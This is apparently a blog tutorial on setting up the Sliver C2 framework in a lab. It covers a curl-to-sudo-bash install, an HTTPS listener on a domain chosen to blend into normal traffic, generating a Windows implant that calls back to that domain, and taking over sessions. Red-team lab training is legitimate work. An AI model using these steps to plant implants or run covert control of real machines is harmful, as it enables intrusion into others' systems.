323 words
2 minutes
Getting Started with Sliver C2 in a Realistic Lab Environment
NOTE

Sliver is a powerful command and control (C2) framework designed to provide advanced capabilities for covertly managing and controlling remote systems.

In this article, I’ll demonstrate how to set up and operate a Sliver server in a controlled lab environment designed to simulate real-world conditions, using a VPS and HTTPS for remote communication. A machine with a static public IP address is required so that the implant running on a target machine can communicate reliably. For this purpose, I recommend using a VPS running Ubuntu (24.04 or later).

WARNING

This setup should only be used in controlled lab environments or with explicit authorization.

Installation#

Terminal window
curl https://sliver.sh/install | sudo bash

Verify that the installation was successful:

Terminal window
sliver
TIP

Enable sliver service to ensure it persists after reboots.

Terminal window
sudo systemctl enable sliver

DNS Configuration#

To achieve a more realistic setup, a domain is required. Since the traffic may be monitored, using a domain makes it more likely to blend in with normal traffic.

TIP

Check the DNS C2 official documentation for more details.

Start HTTPS listener#

Access sliver client with sliver command and execute:

Terminal window
https --domain <your-domain> --lets-encrypt

Sliver can automatically obtain and manage TLS certificates using Let’s Encrypt when the --lets-encrypt flag is enabled, eliminating the need for manual certificate generation.

To check if the listener was created successful execute jobs. Your Sliver server is now ready to receive implant connections, and communications will be encrypted, reducing the risk of data exposure if the network is monitored.

TIP

Check the HTTPS C2 official documentation for more details.

Generate implant#

Terminal window
generate --os windows --http <your-domain>

This command creates an .exe file which, when executed on a target machine, will establish a connection with the Sliver server and create a session.

TIP

Check the HTTPS C2 official documentation for more details.

Basic usage#

Once the connection is establish, you can list sessions with:

Terminal window
sessions

To interact with a specific session, run:

Terminal window
use <session-id>

After, list availables commands with help. For example, pwd print working directory of the active session.

Use the -h flag to display help for a specific command.


Article source:#

matheus-git
/
spitfire
Waiting for api.github.com...
00K
0K
0K
Waiting...
Getting Started with Sliver C2 in a Realistic Lab Environment
https://cyberspitfire.com/posts/sliver_setup/
Author
Spitfire
Published at
2026-04-05
License
CC BY-NC-SA 4.0